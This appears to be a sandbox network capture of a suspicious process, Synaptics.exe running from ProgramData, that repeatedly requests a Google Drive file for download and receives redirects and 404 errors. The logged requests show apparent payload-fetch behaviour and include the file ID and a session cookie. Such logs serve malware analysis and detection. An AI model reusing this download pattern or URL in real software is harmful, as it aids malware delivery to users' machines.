Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	49924	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:32 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:33 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:33 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-lbD7FLc2AvzS9mwHQfSjXg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	49926	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:33 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:33 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:33 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-QsDOhVobDf9oHmEoE6o2xg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	49927	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:33 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:33 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5udRUvNYnPHZjVvVvSSWhuVqvhqlKBsow8INAxKk8_n2KQaOwCFfrIZ_xZHE6ZhXmj Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:33 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-xlqsohxs2upy8oNHNbvFoA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:33 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:28:33 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 38 7a 77 34 4a 50 6f 4d 39 56 58 47 75 69 4f 56 32 59 39 4d 75 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="8zw4JPoM9VXGuiOV2Y9Muw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:28:33 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	49932	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:34 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:34 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:34 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-tsr7Eu2KeiU5Qk_RWEptRQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	49933	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:34 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:34 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6DTaMcpt7TCp6H8MMjVFzvggvq9kMluUQx6rwK2b9ntboyq6ACervnUyTCWLXBHQQ- Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:34 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-HOpYULjHfQ3WlhEsTs1KOA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:34 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:28:34 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 51 78 6c 71 67 53 52 45 58 4f 59 79 56 51 41 65 43 48 66 38 4c 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="QxlqgSREXOYyVQAeCHf8Lw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:28:34 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	49936	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:34 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:34 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:34 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-TuwS_USrbyToMgh13YDO4w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	49938	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:34 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:34 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7sby2PWqSNAoXWG2CAkaxjqbrWSBwA7ytAcyeWm_ri-_YghMyFzYnK2QNQF5zRbMKQ Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:34 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-D4VwvoGSV_iFasWxK6KccQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:34 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:28:34 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6a 4a 53 47 33 42 31 31 78 69 54 37 79 69 47 38 37 35 74 71 39 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="jJSG3B11xiT7yiG875tq9A">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:28:34 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	49939	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:34 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	49943	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:35 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	49951	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:35 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:36 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:36 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-_sutmqacMdIJkyo10QOkrw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	49952	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:35 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
